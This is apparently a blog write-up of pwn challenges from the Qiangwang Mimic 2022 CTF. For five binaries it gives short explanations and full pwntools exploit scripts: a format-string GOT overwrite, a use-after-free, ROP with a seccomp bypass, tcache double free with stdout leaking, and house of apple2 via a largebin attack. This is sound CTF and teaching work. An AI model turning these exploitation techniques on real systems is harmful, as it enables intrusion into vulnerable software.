强网拟态2022pwn

pwn1

直接利用格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
elf = ELF('pwn1')
p = process('./pwn1')
context.log_level = 'debug'
context.arch = 'amd64'
p.sendline(b'1')
p.recvuntil(b'0x')
elfbase = int(p.recv(12), 16) - elf.sym['func']

printf_got = elfbase + elf.got['printf']
system_plt = elfbase + elf.plt['system']
payload = fmtstr_payload(8, {printf_got:system_plt},write_size='byte')
p.sendline(b'2')
#gdb.attach(p)
#pause()
p.sendafter(b'hello\n', payload)
#pause()
p.send(b'/bin/sh\x00')
p.interactive()

pwn2-1

存在uaf,且print_note函数是通过引用堆块上print_note_content函数的地址来实现,修改堆上print_note_content函数的地址为magic函数地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
elf = ELF('pwn2-1')
p = process('./pwn2-1')
context.log_level = 'debug'

def add(size, content):
p.sendlineafter(b':', b'1')
p.sendlineafter(b':', str(size).encode())
p.sendafter(b':', content)
def delete(index):
p.sendlineafter(b':', b'2')
p.sendlineafter(b':', str(index).encode())
def printf(index):
p.sendlineafter(b':', b'3')
p.sendlineafter(b':', str(index).encode())

p.sendlineafter(b':', b'5')
p.recvuntil(b'0x')
elfbase = int(p.recv(12), 16) - 0x11f0

add(0x10, b'a')
delete(0)
add(0x20, b'a')
add(0x20, b'a')
delete(1)
delete(2)
add(0x10, p64(elfbase + elf.sym['magic']))
printf(0)
p.interactive()

bfbf

bf解释器类型的题

通过输入的‘><+-‘等这些符号可以对栈上v3的数据进行读写,而且没有对偏移量进行限制,这就可以对栈上的任意数据读写。

打印出__libc_start_main函数的地址,减去相应的偏移就可得到libc的基地址,利用libc找到相应的gadget,再覆盖栈上__libc_start_main的地址,直接ROP。

程序开启沙盒对read函数的第一个参数进行了限制,我们无法直接orw读取flag文件中的信息,这里改用sendfile函数即可。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import*
elf = ELF('./pwn')
#libc = elf.libc
libc = ELF('libc.so.6')
p = process('./pwn')
#context.log_level = 'debug'

def getchar(gadget):
l = len(gadget)
gadget = int.from_bytes(gadget, byteorder='little', signed=True)
for i in range(l):
t = gadget & 0xff
gadget = gadget >> 8
p.send(p8(t))

#gdb.attach(p)
#pause()
payload = b'>' * 0x210 + (b'.' + b'>') * 6 + b'>' * 0x22 + (b'.' + b'>') * 6 + b'<' * 6
payload += (b',' + b'>') * 8 * 20
p.sendafter(b'>>\n', payload)

stack_addr = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))
leak = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))
print(hex(stack_addr))
print(hex(leak))

libcbase = leak - 243 - libc.sym['__libc_start_main']
pop_rdi = libcbase + 0x23b6a
pop_rsi = libcbase + 0x2601f
pop_rdx = libcbase + 0x142c92
pop_rcx_rbx = libcbase + 0x10257e
pop_rax = libcbase + 0x36174
syscall_ret = libcbase + 0x630a9

#open(‘flag')
#sendfile(1,fd,0,0x100)
payload = flat(
p64(pop_rdi), p64(stack_addr + 0xa0),
p64(pop_rsi), p64(0),
p64(pop_rax), p64(2),
p64(syscall_ret),

p64(pop_rdi), p64(1),
p64(pop_rsi), p64(3),
p64(pop_rdx), p64(0),
p64(pop_rcx_rbx), p64(0x100), p64(0),
p64(pop_rax), p64(40),
p64(syscall_ret)
)
payload += b'flag'.ljust(8, b'\x00')
getchar(payload)
p.interactive()

改用readv函数也可以读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#open('flag')
#readv(3, iovec, 1)
#writev(1, iovec, 1)
payload = flat(
p64(pop_rdi), p64(stack_addr + 0xd0),
p64(pop_rsi), p64(0),
p64(pop_rax), p64(2),
p64(syscall_ret),

p64(pop_rdi), p64(3),
p64(pop_rsi), p64(stack_addr + 0xd8),
p64(pop_rdx), p64(1),
p64(pop_rax), p64(19),
p64(syscall_ret),

p64(pop_rdi), p64(1),
p64(pop_rsi), p64(stack_addr + 0xd8),
p64(pop_rdx), p64(1),
p64(pop_rax), p64(20),
p64(syscall_ret)
)
payload += b'flag'.ljust(8, b'\x00') + p64(stack_addr + 0xf0) + p64(0x30)

也可以使用close函数先关闭标准输入close(0),再直接orw,这里就不再展示了。

only

本地环境:2.31-0ubuntu9_amd64

程序在开始时就已经有很多堆块已经被分配释放了(通过动态链接库libseccomp.so.2引入沙盒规则导致的)

使用increase函数是对堆块的申请,次数限制为11次;使用decresae函数是释放堆块,次数限制为4次,虽然有uaf,但程序没有edit函数和show函数这种功能,无法对uaf完成有效利用,唯一可以利用的是initial函数,还只能使用一次

如果已经完成了一次堆块的申请并且释放,在此过程就将tcache中的tcache_perthread_struct *key破坏,配合uaf就可以实现tcache的double free。由于申请堆块的大小,释放次数这些限制,我们无法一次性泄漏出libc的基地址。

在完成double free后,劫持到tcache的结构体头部,就可以直接控制tcache的申请和数量。直接释放tcache的结构体头部得到unsorted bin后,攻击_IO_2_1_stdout_以实现libc基地址的泄漏:

沙盒的存在无法直接拿到shell,需要利用mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]和setcontext劫持rsp,执行ROP或者shellcode。

在此过程中需要爆破两次地址,有1/256的概率拿到flag,在本地运行时可以加上 aslr=False,节省本地爆破的时间。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import*
elf = ELF('only')
libc = elf.libc
global p
#p = process('./only', aslr=False)
#context.log_level = 'debug'
context.arch = 'amd64'

def initial():
p.sendlineafter(b'Choice >>', b'0')
#p.sendlineafter(b'Size:', str(size).encode())
def increase(size, content):
p.sendlineafter(b'Choice >>', b'1')
p.sendlineafter(b'Size:', str(size).encode())
p.sendafter(b'Content:', content)
def decresae():
p.sendlineafter(b'Choice >>', b'2')

def pwn():
increase(0x70, b'\n')
decresae()
initial()
decresae()
increase(0x70, b'\x10\xc0' + b'\n')
increase(0x70, b'\n')
payload = p64(0) * 3 + p16(1) + p16(1) + p32(0) + p64(0) * 5 + p32(0) + p16(0) + p16(7)
increase(0x70, payload + b'\n')

decresae()
increase(0x80, b'\n')
increase(0x40, b'\xa0\x56' + b'\n')
increase(0x30, p64(0xfbad1800) + p64(0) * 3 + b'\x00' + b'\n')
leak = u64(p.recvuntil(b'\x7f', timeout=1)[-6:].ljust(8, b'\x00'))
libcbase = leak - libc.sym['_IO_2_1_stdin_']
free_hook = libcbase + libc.sym['__free_hook']
stdout = libcbase + libc.sym['_IO_2_1_stdout_']
mp = libcbase + 2011848
magic_gadget = libcbase + 0x1547a0
setcontext = libcbase + libc.sym['setcontext']
pop_rdi = libcbase + 0x26b72
pop_rsi = libcbase + 0x27529
pop_rdx_r12 = libcbase + 0x11c1e1
pop_rax = libcbase + 0x4a550
ret = libcbase + 0x25679
mprotect = libcbase + libc.sym['mprotect']

increase(0x40, p64(free_hook) + p64(stdout) + b'\n')
increase(0xd0, p64(magic_gadget) + b'\n')
increase(0xe0, p64(0xfbad1800) + p64(0) * 3 + p64(mp) + b'\n')
heap_addr = u64(p.recv(8))


payload = p64(0) + p64(heap_addr + 0x140) + p64(0) * 2 + p64(setcontext + 61)
payload += p64(pop_rdi) + p64(heap_addr) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx_r12) + p64(7) + p64(0) + p64(mprotect) + p64(heap_addr + 0x140 +0x70)
payload += asm(shellcraft.cat('flag'))
payload = payload.ljust(0xa0, b'\x00')
payload += p64(heap_addr + 0x140 + 0x28) + p64(ret)

increase(0xe0, payload + b'\n')
#gdb.attach(p)
#pause()
decresae()
p.interactive()

while True :
try :
p = process('./only')
pwn()
except Exception as e:
p.close()

store

程序只能使用两次申请堆块,虽然后续也能申请,但无法去使用;留了一个uaf的漏洞,free的次数也只能是4次,edit和show这种函数可以正常使用。如果使用tcache去实现任意写,这两次申请是远远不够用的。这里是使用house of apple2,主要就是利用一次largebin attack攻击去实现劫持IO控制流。

Roderick师傅的文章已经很详细了:[原创] House of apple 一种新的glibc中IO攻击方法 (2)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

当然构造IO_FILE也需要注意_IO_flush_all_lockp函数中的if判断:

满足前者fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base,或者后者``_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base`即可

进入_IO_wfile_overflow后会有rdx直接赋值为fp->_wide_data,所以可以直接配合setcontext函数使用

题目中存在沙盒,64位和32的限制都有

但seccomp-tools将32位系统调用号也看成64位的,这就很迷惑人。对比32位的系统表就会发现open的系统调用在32位中的系统调用号为5,这里就先使用32位的open调用号去打开flag文件,再去用64位的读写。由于32位寄存器大小的限制,直接使用pwntools生成的open系统调用会出错,所以先mmap一段低地址内存再去使用。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import*
elf = ELF('store')
libc = elf.libc
p = process('./store')
context.log_level = 'debug'

def buy(size, content, remark):
p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'Size:', str(size).encode())
p.sendafter(b'Content:', content)
p.sendafter(b'Remark:', remark)
def buy1(size):
p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'Size:', str(size).encode())
def throw(index):
p.sendlineafter(b'choice:', b'2')
p.sendlineafter(b'Index:', str(index).encode())
def edit(index, content, remark):
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'Index:', str(index).encode())
p.sendafter(b'Content:', content)
p.sendafter(b'Remark:', remark)
def show(index):
p.sendlineafter(b'choice:', b'4')
p.sendlineafter(b'Index:', str(index).encode())

buy(0x420, b'a', b'a')
buy(0x410, b'a', b'a')
throw(0)
show(0)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = leak -96 - 0x10 - libc.sym['__malloc_hook']
log.success("libcbase: " + hex(libcbase))

buy1(0x430)
edit(0, b'a' * 0x10, b'a')
show(0)
p.recvuntil(b'a' * 0x10)
heap_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success("heap_addr: " + hex(heap_addr))

IO_list_all = libcbase + libc.sym['_IO_list_all']
IO_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
setcontext = libcbase + libc.sym['setcontext']
pop_rdi = libcbase + 0x26b72
pop_rsi = libcbase + 0x27529
pop_rdx_r12 = libcbase + 0x11c371
syscall_ret = libcbase + 0x66229
ret = libcbase + 0x25679
magic_gadget = libcbase + 0x154930
mprotect = libcbase + libc.sym['mprotect']

edit(0, p64(0) * 3 + p64(IO_list_all - 0x20), b'a')
throw(1)
buy1(0x430)

fake_addr = heap_addr + 0x860
fake_IO_FILE = b''
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(0) #_lock
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_addr + 0xe0) #_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #_mode
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps) #vtable
fake_IO_FILE += p64(0) * 3
fake_IO_FILE += p64(0) #_IO_wide_data->_IO_write_base
fake_IO_FILE += p64(1) #_IO_wide_data->_IO_write_prt
fake_IO_FILE = fake_IO_FILE.ljust(0x138, b'\x00')
fake_IO_FILE += p64(setcontext + 61)
fake_IO_FILE += b'\x00' * 0x30
fake_IO_FILE += p64(fake_addr + 0x200)
fake_IO_FILE += p64(ret)
fake_IO_FILE = fake_IO_FILE.ljust(0x1b0, b'\x00')
fake_IO_FILE += p64(fake_addr + 0xe0)

payload = fake_IO_FILE.ljust(0x1f0, b'\x00')
payload += flat(
p64(pop_rdi), p64(heap_addr - 0x290),
p64(pop_rsi), p64(0x1000),
p64(pop_rdx_r12), p64(7), p64(0),
p64(mprotect),
p64(fake_addr + 0x248)
)
payload += asm(shellcraft.mmap(0x23000, 0x1000, 7, 34))
payload += asm(shellcraft.amd64.read(0, 0x23000, 0x30), arch = 'amd64')
payload += asm(shellcraft.open(0x23000, 0))
payload += asm(shellcraft.amd64.read(3, 0x23100, 0x30), arch = 'amd64')
payload += asm(shellcraft.amd64.write(1, 0x23100, 0x30), arch = 'amd64')
edit(1, payload, b'a')

#gdb.attach(p)
#pause()
p.sendlineafter(b'choice:', b'5')
#pause()
p.send(b'/flag')
p.interactive()

参考:强网拟态 2022 By W&M - W&M Team (wm-team.cn)


强网拟态2022pwn
https://xtxtn.github.io/2022/11/19/强网拟态2022/
作者
xtxtn
发布于
2022年11月19日
更新于
2023年1月13日
许可协议